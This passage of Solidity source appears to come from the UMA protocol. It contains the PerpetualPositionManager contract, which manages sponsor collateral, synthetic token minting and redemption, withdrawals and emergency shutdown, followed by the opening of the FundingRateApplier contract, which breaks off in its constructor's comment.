import "../../common/interfaces/ExpandedIERC20.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
import "../common/FundingRateApplier.sol";
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PerpetualPositionManager is FundingRateApplier {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
// !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract.
// Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests
// expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent
// contract is extremely risky for any sponsor or synthetic token holder for the contract.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// Expiry price pulled from the DVM in the case of an emergency shutdown.
FixedPoint.Unsigned public emergencyShutdownPrice;
/****************************************
* EVENTS *
****************************************/
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount);
event EmergencyShutdown(address indexed caller, uint256 shutdownTimestamp);
event SettleEmergencyShutdown(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PerpetualPositionManager.
* @dev Deployer of this contract should consider carefully which parties have ability to mint and burn
* the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts
* can mint new tokens, which could be used to steal all of this contract's locked collateral.
* We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles)
* is assigned to this contract, whose sole Minter role is assigned to this contract, and whose
* total supply is 0 prior to construction of this contract.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _tokenAddress ERC20 token used as synthetic token.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _fundingRateIdentifier Unique identifier for DVM price feed ticker for child financial contract.
* @param _minSponsorTokens minimum number of tokens that must exist at any time in a position.
* @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index).
* @param _timerAddress Contract that stores the current time in a testing environment. Set to 0x0 for production.
*/
constructor(
uint256 _withdrawalLiveness,
address _collateralAddress,
address _tokenAddress,
address _finderAddress,
bytes32 _priceIdentifier,
bytes32 _fundingRateIdentifier,
FixedPoint.Unsigned memory _minSponsorTokens,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
)
public
FundingRateApplier(
_fundingRateIdentifier,
_collateralAddress,
_finderAddress,
_configStoreAddress,
_tokenScaling,
_timerAddress
)
{
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier));
withdrawalLiveness = _withdrawalLiveness;
tokenCurrency = ExpandedIERC20(_tokenAddress);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(msg.sender);
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral))
);
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
notEmergencyShutdown()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime()
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external notEmergencyShutdown() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
// No pending withdrawal require message removed to save bytecode.
require(positionData.withdrawalRequestPassTimestamp != 0);
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount
* ` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev This contract must have the Minter role for the `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
fees()
nonReentrant()
{
PositionData storage positionData = positions[msg.sender];
// Either the new create ratio or the resultant position CR must be above the current GCR.
require(
(_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount),
positionData.tokensOutstanding.add(numTokens)
) || _checkCollateralization(collateralAmount, numTokens)),
"Insufficient collateral"
);
require(positionData.withdrawalRequestPassTimestamp == 0);
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens));
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
// Note: revert reason removed to save bytecode.
require(tokenCurrency.mint(msg.sender, numTokens.rawValue));
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed =
fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral));
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`.
* This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens.
* @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt from the sponsor's debt position.
*/
function repay(FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue);
// Transfer the tokens back from the sponsor and burn them.
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice If the contract is emergency shutdown then all token holders and sponsors can redeem their tokens or
* remaining collateral for underlying at the prevailing price defined by a DVM vote.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the resolved settlement value of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @dev Note that this function does not call the updateFundingRate modifier to update the funding rate as this
* function is only called after an emergency shutdown & there should be no funding rate updates after the shutdown.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleEmergencyShutdown()
external
isEmergencyShutdown()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// Set the emergency shutdown price as resolved from the DVM. If DVM has not resolved will revert.
if (emergencyShutdownPrice.isEqual(FixedPoint.fromUnscaledUint(0))) {
emergencyShutdownPrice = _getOracleEmergencyShutdownPrice();
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral =
_getFundingRateAppliedTokenDebt(tokensToRedeem).mul(emergencyShutdownPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying with
// the funding rate applied to the outstanding token debt.
FixedPoint.Unsigned memory tokenDebtValueInCollateral =
_getFundingRateAppliedTokenDebt(positionData.tokensOutstanding).mul(emergencyShutdownPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral =
tokenDebtValueInCollateral.isLessThan(positionCollateral)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout =
FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleEmergencyShutdown(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the `settleEmergencyShutdown` function.
*/
function emergencyShutdown() external override notEmergencyShutdown() fees() nonReentrant() {
// Note: revert reason removed to save bytecode.
require(msg.sender == _getFinancialContractsAdminAddress());
emergencyShutdownTimestamp = getCurrentTime();
_requestOraclePrice(emergencyShutdownTimestamp);
emit EmergencyShutdown(msg.sender, emergencyShutdownTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory collateralAmount)
{
// Note: do a direct access to avoid the validity check.
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral));
}
/**
* @notice Accessor method for the total collateral stored within the PerpetualPositionManager.
* @return totalCollateral amount of all collateral within the position manager.
*/
function totalPositionCollateral()
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getFundingRateAppliedTokenDebt(rawTokenDebt);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
positionData.tokensOutstanding = positionData.tokensOutstanding.sub(tokensToRemove);
require(positionData.tokensOutstanding.isGreaterThanOrEqual(minSponsorTokens));
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(positionToLiquidate.rawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
_getOracle().requestPrice(priceIdentifier, requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory price) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
int256 oraclePrice = _getOracle().getPrice(priceIdentifier, requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOracleEmergencyShutdownPrice() internal view returns (FixedPoint.Unsigned memory) {
return _getOraclePrice(emergencyShutdownTimestamp);
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyCollateralizedPosition(address sponsor) internal view {
require(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0));
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0);
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global =
_getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
return numTokens.isLessThanOrEqual(0) ? FixedPoint.fromUnscaledUint(0) : collateral.div(numTokens);
}
function _getTokenAddress() internal view override returns (address) {
return address(tokenCurrency);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/SafeCast.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../../oracle/implementation/Constants.sol";
import "../../oracle/interfaces/OptimisticOracleInterface.sol";
import "../perpetual-multiparty/ConfigStoreInterface.sol";
import "./EmergencyShutdownable.sol";
import "./FeePayer.sol";
/**
* @title FundingRateApplier contract.
* @notice Provides funding rate payment functionality for the Perpetual contract.
*/
abstract contract FundingRateApplier is EmergencyShutdownable, FeePayer {
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for FixedPoint.Signed;
using SafeERC20 for IERC20;
using SafeMath for uint256;
/****************************************
* FUNDING RATE APPLIER DATA STRUCTURES *
****************************************/
struct FundingRate {
// Current funding rate value.
FixedPoint.Signed rate;
// Identifier to retrieve the funding rate.
bytes32 identifier;
// Tracks the cumulative funding payments that have been paid to the sponsors.
// The multiplier starts at 1, and is updated by computing cumulativeFundingRateMultiplier * (1 + effectivePayment).
// Put another way, the cumulativeFeeMultiplier is (1 + effectivePayment1) * (1 + effectivePayment2) ...
// For example:
// The cumulativeFundingRateMultiplier should start at 1.
// If a 1% funding payment is paid to sponsors, the multiplier should update to 1.01.
// If another 1% fee is charged, the multiplier should be 1.01^2 (1.0201).
FixedPoint.Unsigned cumulativeMultiplier;
// Most recent time that the funding rate was updated.
uint256 updateTime;
// Most recent time that the funding rate was applied and changed the cumulative multiplier.
uint256 applicationTime;
// The time for the active (if it exists) funding rate proposal. 0 otherwise.
uint256 proposalTime;
}
FundingRate public fundingRate;
// Remote config store managed an owner.
ConfigStoreInterface public configStore;
/****************************************
* EVENTS *
****************************************/
event FundingRateUpdated(int256 newFundingRate, uint256 indexed updateTime, uint256 reward);
/****************************************
* MODIFIERS *
****************************************/
// This is overridden to both pay fees (which is done by applyFundingRate()) and apply the funding rate.
modifier fees override {
// Note: the funding rate is applied on every fee-accruing transaction, where the total change is simply the
// rate applied linearly since the last update. This implies that the compounding rate depends on the frequency
// of update transactions that have this modifier, and it never reaches the ideal of continuous compounding.
// This approximate-compounding pattern is common in the Ethereum ecosystem because of the complexity of
// compounding data on-chain.
applyFundingRate();
_;
}
// Note: this modifier is intended to be used if the caller intends to _only_ pay regular fees.
modifier paysRegularFees {
payRegularFees();
_;
}
/**
* @notice Constructs the FundingRateApplier contract. Called by child contracts.
* @param _fundingRateIdentifier identifier that tracks the funding rate of this contract.
